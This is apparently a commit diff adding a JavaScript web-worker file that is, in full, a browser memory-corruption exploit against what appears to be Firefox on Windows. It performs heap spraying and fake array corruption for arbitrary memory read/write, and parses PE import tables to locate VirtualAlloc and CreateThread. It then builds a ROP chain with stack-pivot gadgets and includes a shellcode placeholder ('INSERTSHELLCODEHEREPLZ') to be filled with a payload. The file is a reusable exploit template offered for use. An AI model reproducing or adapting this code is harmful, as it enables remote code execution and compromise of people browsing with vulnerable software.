1+ var window = self ;
2+
3+ function Memory ( b , a , f )
4+ {
5+ this . _base_addr = b ;
6+ this . _read = a ;
7+ this . _write = f ;
8+ this . _abs_read = function ( a ) {
9+ a >= this . _base_addr ? a = this . _read ( a - this . _base_addr ) : ( a = 4294967295 - this . _base_addr + 1 + a , a = this . _read ( a ) ) ;
10+ return 0 > a ?4294967295 + a + 1 :a
11+
12+ } ;
13+ this . _abs_write = function ( a , b ) {
14+ a >= this . _base_addr ? this . _write ( a - this . _base_addr , b ) : ( a = 4294967295 - this . _base_addr + 1 + a , this . _write ( a , b ) )
15+ } ;
16+ this . readByte = function ( a ) {
17+ return this . read ( a ) & 255
18+
19+ } ;
20+ this . readWord = function ( a ) {
21+ return this . read ( a ) & 65535
22+ } ;
23+ this . readDword = function ( a ) { return this . read ( a ) } ;
24+ this . read = function ( a , b ) {
25+ if ( a % 4 ) {
26+ var c = this . _abs_read ( a & 4294967292 ) ,
27+ d = this . _abs_read ( a + 4 & 4294967292 ) ,
28+ e = a % 4 ;
29+ return c >>> 8 * e | d << 8 * ( 4 - e )
30+ }
31+ return this . _abs_read ( a )
32+ } ;
33+ this . readStr = function ( a ) {
34+ for ( var b = "" , c = 0 ; ; ) {
35+ if ( 32 == c )
36+ return "" ;
37+ var d = this . readByte ( a + c ) ;
38+ if ( 0 == d )
39+ break ;
40+ b += String . fromCharCode ( d ) ;
41+ c ++
42+ }
43+ return b
44+
45+ } ;
46+ this . write = function ( a ) { }
47+ }
48+
49+ function PE ( b , a ) {
50+ this . mem = b ;
51+ this . export_table = this . module_base = void 0 ;
52+ this . export_table_size = 0 ;
53+ this . import_table = void 0 ;
54+ this . import_table_size = 0 ;
55+ this . find_module_base = function ( a ) {
56+ for ( a &= 4294901760 ; a ; ) {
57+ if ( 0x5a4d == this . mem . readWord ( a ) )
58+ return this . module_base = a ;
59+ a -= 65536
60+ }
61+ } ;
62+ this . _resolve_pe_structures = function ( ) {
63+ peFile = this . module_base + this . mem . readWord ( this . module_base + 60 ) ;
64+ if ( 0x4550 != this . mem . readDword ( peFile ) )
65+ throw "Bad NT Signature" ;
66+
67+ this . pe_file = peFile ;
68+ this . optional_header = this . pe_file + 36 ;
69+ this . export_directory = this . module_base + this . mem . readDword ( this . pe_file + 120 ) ;
70+ this . export_directory_size = this . mem . readDword ( this . pe_file + 124 ) ;
71+ this . import_directory = this . module_base + this . mem . readDword ( this . pe_file + 128 ) ;
72+ this . import_directory_size = this . mem . readDword ( this . pe_file + 132 ) } ;
73+ this . resolve_imported_function = function ( a , b ) {
74+ void 0 == this . import_directory && this . _resolve_pe_structures ( ) ;
75+ for ( var e = this . import_directory , c = e + this . import_directory_size ; e < c ; ) {
76+ var d = this . mem . readStr ( this . mem . readDword ( e + 12 ) + this . module_base ) ;
77+ if ( a . toUpperCase ( ) == d . toUpperCase ( ) ) {
78+ for ( var c = this . mem . readDword ( e ) + this . module_base ,
79+ e = this . mem . readDword ( e + 16 ) + this . module_base ,
80+ d = this . mem . readDword ( c ) ,
81+ f = 0 ; 0 != d ; )
82+ {
83+ if ( this . mem . readStr ( d + this . module_base + 2 ) . toUpperCase ( ) == b . toUpperCase ( ) )
84+ return this . mem . readDword ( e + 4 * f ) ;
85+ f ++ ;
86+ d = this . mem . readDword ( c + 4 * f )
87+ }
88+ break
89+ }
90+ e += 20
91+ }
92+ return 0
93+ } ;
94+ void 0 != a && this . find_module_base ( a )
95+ }
96+
97+ function ROP ( mem , a ) {
98+ this . mem = mem ;
99+ this . pe = new PE ( mem , a ) ;
100+ this . pe . _resolve_pe_structures ( ) ;
101+ this . module_base = this . pe . module_base + 0x1000 ;
102+
103+ this . findSequence = function ( seq ) {
104+ for ( var b = 0 ; ; ) {
105+ for ( var e = 0 , c = 0 ; c < seq . length ; c ++ )
106+ if ( this . mem . readByte ( this . module_base + b + c ) == seq [ c ] && e == c )
107+ e ++ ;
108+ else
109+ break ;
110+ if ( e == seq . length )
111+ return this . module_base + b ;
112+ b ++
113+
114+ }
115+
116+ } ;
117+ this . findStackPivot = function ( ) {
118+ return this . findSequence ( [ 0x94 , 0xc3 ] )
119+
120+ } ;
121+ this . findPopRet = function ( a ) {
122+ return this . findSequence ( [ 0x58 , 0xc3 ] )
123+
124+ } ;
125+ this . ropChain = function ( base , vtOffset , array = undefined ) {
126+ var buf = undefined
127+ if ( array != undefined )
128+ buf = array
129+ else
130+ buf = new ArrayBuffer ( 0x1000 )
131+ ropBuff = new Uint32Array ( buf ) ;
132+ var stackPivot = this . findStackPivot ( ) ,
133+ popRet = this . findPopRet ( "EAX" ) ,
134+ virtualAllocAddr = this . pe . resolve_imported_function ( "kernel32.dll" , "VirtualAlloc" ) ;
135+
136+ ropBuff [ 0 ] = popRet + 1 ;
137+ ropBuff [ 1 ] = popRet ;
138+ ropBuff [ 2 ] = base + vtOffset + 4 ;
139+ ropBuff [ 3 ] = stackPivot ;
140+ ropBuff [ vtOffset >> 2 ] = stackPivot ;
141+
142+ offset = ( vtOffset + 4 >> 2 ) ;
143+ ropBuff [ offset ++ ] = virtualAllocAddr ;
144+ ropBuff [ offset ++ ] = base + ( vtOffset + 0x1c ) ;
145+ ropBuff [ offset ++ ] = base ;
146+ ropBuff [ offset ++ ] = 0x1000 ;
147+ ropBuff [ offset ++ ] = 0x1000 ;
148+ ropBuff [ offset ++ ] = 0x40 ;
149+ ropBuff [ offset ++ ] = 0xcccccccc ;
150+
151+ return ropBuff ;
152+ }
153+ }
154+
155+ var conv = new ArrayBuffer ( 8 )
156+ var convf64 = new Float64Array ( conv )
157+ var convu32 = new Uint32Array ( conv )
158+
159+ var qword2Double = function ( b , a ) {
160+ convu32 [ 0 ] = b ;
161+ convu32 [ 1 ] = a ;
162+ return convf64 [ 0 ]
163+ }
164+
165+ var doubleFromFloat = function ( b , a ) {
166+ convf64 [ 0 ] = b ;
167+ return convu32 [ a ]
168+ }
169+
170+ var sprayArrays = function ( ) {
171+ var mArray = new Array ( 0x1fffe )
172+ var arrBuf = new ArrayBuffer ( 0x100000 ) ;
173+ var dwArray = new Uint32Array ( arrBuf )
174+ var qwArray = new Float64Array ( arrBuf , 0x10 )
175+
176+
177+ for ( var i = 0 ; i < 0x1fffe ; i ++ )
178+ mArray [ i ] = qword2Double ( 0 , 0 ) ;
179+
180+ mArray [ 2 ] = qword2Double ( arrBase + 0xaf0 , 0 )
181+ mArray [ 0xe ] = qword2Double ( arrBase + 0x08 , 0 )
182+ mArray [ 0x15 ] = qword2Double ( 0 , 0x02 )
183+ mArray [ 0x21 ] = qword2Double ( 0x02 , 0 )
184+ mArray [ 0x22 ] = qword2Double ( arrBase + 0x2f0 , arrBase + 0x1f0 )
185+ mArray [ 0x3e ] = qword2Double ( 0 , arrBase + 0x3f0 )
186+ mArray [ 0x5e ] = qword2Double ( arrBase + 0x4f0 , 0 )
187+ mArray [ 0x80 ] = qword2Double ( 0x02 , 0 )
188+ mArray [ 0x9f ] = qword2Double ( arrBase + 0x500 , 0 )
189+ mArray [ 0xa0 ] = qword2Double ( 0 , 0xf0000000 )
190+ mArray [ 0xa2 ] = qword2Double ( 0 , 0xbff00000 )
191+ mArray [ 0xa4 ] = qword2Double ( 0x02 , 0 )
192+ mArray [ 0xa5 ] = qword2Double ( 0x01 , 0 )
193+ mArray [ 0xaa ] = qword2Double ( 0 , arrBase + 0x5f0 )
194+ mArray [ 0xac ] = qword2Double ( arrBase + 0x6f0 , arrBase + 0x700 )
195+ mArray [ 0xb3 ] = qword2Double ( 0 , 0x02 )
196+ mArray [ 0xb4 ] = qword2Double ( 0 , 0 )
197+ mArray [ 0xde ] = qword2Double ( arrBase + 0x7f0 , 0 )
198+ mArray [ 0xfe ] = qword2Double ( 0x01 , 0 ) ;
199+ mArray [ 0xff ] = qword2Double ( 0 , 0x10000000 )
200+ mArray [ 0x15e ] = qword2Double ( 0x07 , 0 )
201+ mArray [ 0x15f ] = qword2Double ( arrBase + 0xf0 , arrBase - 0x10 + 0x05 )
202+ mArray [ 0x160 ] = qword2Double ( arrBase - 0x07 , arrBase - 0x10 + 0x0d )
203+ mArray [ 0x161 ] = qword2Double ( arrBase + 0x10000b , arrBase + 0x100007 )
204+ mArray [ 0x162 ] = qword2Double ( arrBase + 0x100003 , 0 )
205+ mArray [ 0x202 ] = qword2Double ( arrBase + 0x1af0 , 0 )
206+ mArray [ 0x20e ] = qword2Double ( arrBase + 0x1008 , 0 )
207+ mArray [ 0x215 ] = qword2Double ( 0 , 0x02 )
208+ mArray [ 0x221 ] = qword2Double ( 0x02 , 0 )
209+ mArray [ 0x222 ] = qword2Double ( arrBase + 0x12f0 , arrBase + 0x11f0 )
210+ mArray [ 0x23e ] = qword2Double ( 0 , arrBase + 0x13f0 )
211+ mArray [ 0x25e ] = qword2Double ( arrBase + 0x14f0 , 0 )
212+ mArray [ 0x280 ] = qword2Double ( 0x02 , 0 )
213+ mArray [ 0x29f ] = qword2Double ( arrBase + 0x1500 , 0 )
214+ mArray [ 0x2a0 ] = qword2Double ( 0 , 0xf0000000 )
215+ mArray [ 0x2a2 ] = qword2Double ( 0 , 0xbff00000 )
216+ mArray [ 0x2a4 ] = qword2Double ( 0x02 , 0 )
217+ mArray [ 0x2a5 ] = qword2Double ( 0x01 , 0 )
218+ mArray [ 0x2aa ] = qword2Double ( 0 , arrBase + 0x15f0 )
219+ mArray [ 0x2ac ] = qword2Double ( arrBase + 0x16f0 , arrBase + 0x1700 )
220+ mArray [ 0x2b3 ] = qword2Double ( 0 , 0x02 )
221+ mArray [ 0x2b4 ] = qword2Double ( 0 , 0x00 )
222+ mArray [ 0x2de ] = qword2Double ( arrBase + 0x17f0 , 0 )
223+ mArray [ 0x2fe ] = qword2Double ( 0x01 , 0 )
224+ mArray [ 0x2ff ] = qword2Double ( 0 , 0x10000000 )
225+
226+ var i = mArray . length ;
227+ while ( i -- ) { qwArray [ i ] = mArray [ i ] ; }
228+
229+ for ( var i = 0 ; i < spr . length ; i += 2 )
230+ {
231+ spr [ i ] = mArray . slice ( 0 )
232+ spr [ i + 1 ] = arrBuf . slice ( 0 )
233+ }
234+ }
235+
236+ var spr = new Array ( 400 )
237+ var arrBase = 0x22100010 ;
238+
239+ // insert codes here \/ ------
240+ Shellcode = unescape ( "INSERTSHELLCODEHEREPLZ" ) ;
241+
242+ if ( Shellcode . length % 2 != 0 )
243+ Shellcode += "NOPSGOHERE" ;
244+
245+ sprayArrays ( ) ;
246+ postMessage ( arrBase )
247+
248+
249+ var len = spr [ 0 ] . length ;
250+ var mArray = undefined ;
251+ var dwArray = undefined ;
252+ var qwArray = undefined ;
253+ var container = undefined ;
254+
255+ while ( mArray == undefined )
256+ {
257+ for ( var i = 0 ; i < spr . length ; i += 2 )
258+ {
259+ if ( spr [ i ] . length != len )
260+ {
261+ container = dwArray = new Uint32Array ( spr [ i + 1 ] )
262+ qwArray = new Float64Array ( spr [ i + 1 ] , 0x10 )
263+ if ( dwArray [ 1 ] == 0 )
264+ {
265+ dwArray = new Uint32Array ( spr [ i - 1 ] )
266+ dwArray [ 0 ] = dwArray [ 1 ] = dwArray [ 2 ] = dwArray [ 3 ] = 0xdea110c8 ;
267+ qwArray = new Float64Array ( spr [ i - 1 ] , 0x10 )
268+ }
269+ mArray = spr [ i ] ;
270+ break ;
271+ }
272+ }
273+ }
274+
275+ var off = 0x100000 ;
276+ if ( dwArray != container )
277+ off = off * 2 ;
278+
279+ var memory = new Uint32Array ( 0x10 ) ;
280+ var len = memory . length ;
281+ mArray [ 0x20000 ] = memory ;
282+ ropArrBuf = new ArrayBuffer ( 0x1000 )
283+ mArray [ 0x20001 ] = ropArrBuf ;
284+ ropArrBufPtr = container [ 0x6 ]
285+
286+ targetAddr = container [ 4 ] + 0x1b ;
287+ var arrayBase = container [ 4 ] + 0x30 ;
288+
289+ mArray [ 0x20000 ] = undefined ;
290+ mArray [ 0x20001 ] = undefined ;
291+
292+ var n = 0x40 ;
293+ qwArray [ 0x35e ] = mArray [ 0x35e ] = qword2Double ( n + 1 , 0 )
294+ qwArray [ 0x35f ] = mArray [ 0x35f ] = qword2Double ( arrBase - 0x10 + 0x1100 , targetAddr )
295+ for ( var i = 0 ; i < ( n / 2 ) ; i ++ )
296+ qwArray [ 0x360 + i ] = mArray [ 0x360 + i ] = qword2Double ( targetAddr , targetAddr )
297+
298+ container [ 0 ] = container [ 1 ] = container [ 2 ] = container [ 3 ] = 0xffffff81 ;
299+ qwArray [ 0x1e ] = mArray [ 0x1e ] = qword2Double ( 0xdea110c8 , 0 )
300+ qwArray [ 0xfe ] = mArray [ 0xfe ] = qword2Double ( 2 , 0 )
301+ qwArray [ 0xb3 ] = mArray [ 0xb3 ] = qword2Double ( 0 , 3 )
302+ qwArray [ 0xa9 ] = mArray [ 0xa9 ] = qword2Double ( 0 , 2 )
303+
304+ while ( memory . length == len ) { }
305+
306+
307+ var mem = new Memory ( arrayBase ,
308+ function ( b ) { return memory [ b / 4 ] ; } ,
309+ function ( b , a ) { memory [ b / 4 ] = a ; } ) ;
310+
311+ var ptr = targetAddr - 0x1b ;
312+ var xulPtr = mem . readDword ( ptr + 0xc ) ;
313+ var rop = new ROP ( mem , xulPtr ) ;
314+ var ropBase = mem . readDword ( ropArrBufPtr + 0x10 ) ;
315+ rop . ropChain ( ropBase , 0x130 , ropArrBuf ) ;
316+ var backupESP = rop . findSequence ( Array ( 0x89 , 0x01 , 0xc3 ) )
317+ var ropChain = new Uint32Array ( ropArrBuf )
318+ ropChain [ 0 ] = backupESP ;
319+ CreateThread = rop . pe . resolve_imported_function ( 'KERNEL32.dll' , 'CreateThread' )
320+
321+ ropChain [ 0x12c >> 2 ] = ropChain [ 0x130 >> 2 ] ;
322+
323+ for ( var i = 0 ; i < ropChain . length ; i ++ )
324+ {
325+ if ( ropChain [ i ] == 0xcccccccc )
326+ break ;
327+ }
328+
329+ ropChain [ i ++ ] = 0xc4819090 ;
330+ ropChain [ i ++ ] = 0x00000800 ;
331+ ropChain [ i ++ ] = 0x5050c031 ;
332+ ropChain [ i ++ ] = 0x5b21eb50 ;
333+ ropChain [ i ++ ] = 0xb8505053 ;
334+ ropChain [ i ++ ] = CreateThread ;
335+ ropChain [ i ++ ] = 0xb890d0ff ;
336+ ropChain [ i ++ ] = arrBase + 0x2040 ;
337+ ropChain [ i ++ ] = 0x5f58208b ;
338+ ropChain [ i ++ ] = 0xbe905d58 ;
339+ ropChain [ i ++ ] = 0xFFFFFF00 ;
340+ ropChain [ i ++ ] = 0x000cc2c9 ;
341+ ropChain [ i ++ ] = 0xffffdae8 ;
342+ ropChain [ i ++ ] = 0x909090ff ;
343+
344+ for ( var j = 0 ; j < Shellcode . length ; j += 2 )
345+ ropChain [ i ++ ] = Shellcode . charCodeAt ( j ) + Shellcode . charCodeAt ( j + 1 ) * 0x10000 ;
346+
347+ mArray [ 0x400 ] = qwArray [ 0x400 ] = qword2Double ( arrBase + 0x2000 , 0 )
348+ mArray [ 0x400 + ( 0x10 >> 3 ) ] = qwArray [ 0x400 + ( 0x10 >> 3 ) ] = qword2Double ( 0 , arrBase + 0x2040 )
349+ mArray [ 0x400 + ( 0x18 >> 3 ) ] = qwArray [ 0x400 + ( 0x18 >> 3 ) ] = qword2Double ( 4 , 0 )
350+ mArray [ 0x400 + ( 0x40 >> 3 ) ] = qwArray [ 0x400 + ( 0x40 >> 3 ) ] = qword2Double ( ropBase , 0 )
351+ mArray [ 0x400 + ( 0xac >> 3 ) ] = qwArray [ 0x400 + ( 0xac >> 3 ) ] = qword2Double ( 0 , 2 )
352+
353+ for ( var i = 0 ; i < 4 ; i ++ ) {
354+ container [ 0x400 + i ] = 0xdea110c8
355+ }
356+
357+ qwArray [ 0x21e ] = mArray [ 0x21e ] = qword2Double ( 0xdea110c8 , 0 )
358+ qwArray [ 0x2fe ] = mArray [ 0x2fe ] = qword2Double ( 2 , 0 )
359+ qwArray [ 0x2b3 ] = mArray [ 0x2b3 ] = qword2Double ( 0 , 3 )
360+ qwArray [ 0x2a9 ] = mArray [ 0x2a9 ] = qword2Double ( 0 , 2 )
361+
362+ postMessage ( "!" )
0 commit comments